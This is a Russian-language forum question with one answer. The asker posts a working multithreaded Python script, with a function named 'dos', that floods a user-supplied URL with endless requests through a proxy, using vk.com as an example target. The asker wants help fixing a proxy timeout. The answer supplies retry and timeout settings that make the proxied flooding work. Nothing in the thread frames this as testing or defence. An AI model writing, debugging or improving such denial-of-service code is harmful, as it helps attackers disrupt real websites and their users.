Проблема при работе с запросами используя proxy на Python
import threading
import requests
import random
proxies = ['103.239.200.186:1337']
def get_session(proxies):
session = requests.Session()
proxy = random.choice(proxies)
session.proxies = {"http": proxy, "https": proxy}
return session
def dos(target):
while True:
try:
s = get_session(proxies)
s.get(target, timeout=0.5)
print("Request sent!")
except requests.exceptions.ConnectionError as e:
print("[+] Connection error! " + str(e))
threads = 20
url = input("URL: ")
try:
threads = int(input("Threads: "))
except ValueError:
exit("Threads count is incorrect!")
if threads == 0:
exit("Threads count is incorrect!")
if not url.__contains__("http"):
exit("URL doesnt contains http or https!")
if not url.__contains__("."):
exit("Invalid domain")
for i in range(0, threads):
thr = threading.Thread(target=dos, args=(url,))
thr.start()
print(str(i + 1) + " thread started!")
Возникла проблема. Писал софт для... Отправки запросов в большом количестве, в общем. На моменте установки proxy появилась ошибка, решения которой я не нашел спустя долгое время. Помогите, пожалуйста. Подскажите, что означает ошибка и как её решить в моём случае.
Вот как выглядит ошибка:
Она в виде текста:
[+] Connection error! HTTPSConnectionPool(host='vk.com', port=443): Max retries exceeded with url: /groups (Caused by ConnectTimeoutError(<urllib3.connection.HTTPSConnection object at 0x0000016DAD035DE0>, 'Connection to 103.239.200.186 timed out. (connect timeout=0.5)'))
(для примера взял первый попавшийся сайт для отправки запросов, это не важно)
Ответы (1 шт):
Автор решения: Namerek
→ Ссылка
Вот так попробуйте
from urllib3 import Timeout, Retry
from requests import Session
from requests.adapters import HTTPAdapter
s = Session()
s.proxies = {
'http': '103.239.200.186:1337',
'https': '103.239.200.186:1337'
}
s.mount(
'https://',
HTTPAdapter(
max_retries=Retry(
connect=20,
total=40,
backoff_factor=.005
),
)
)
response = s.get(
'https://ipinfo.io/ip',
timeout=Timeout(
connect=2,
read=5
)
)
print(
response.content
)
# b'103.239.200.186'
Если не изменяет память, то у requests по умолчанию Retry один а Timeout бесконечный
Ссылка по теме
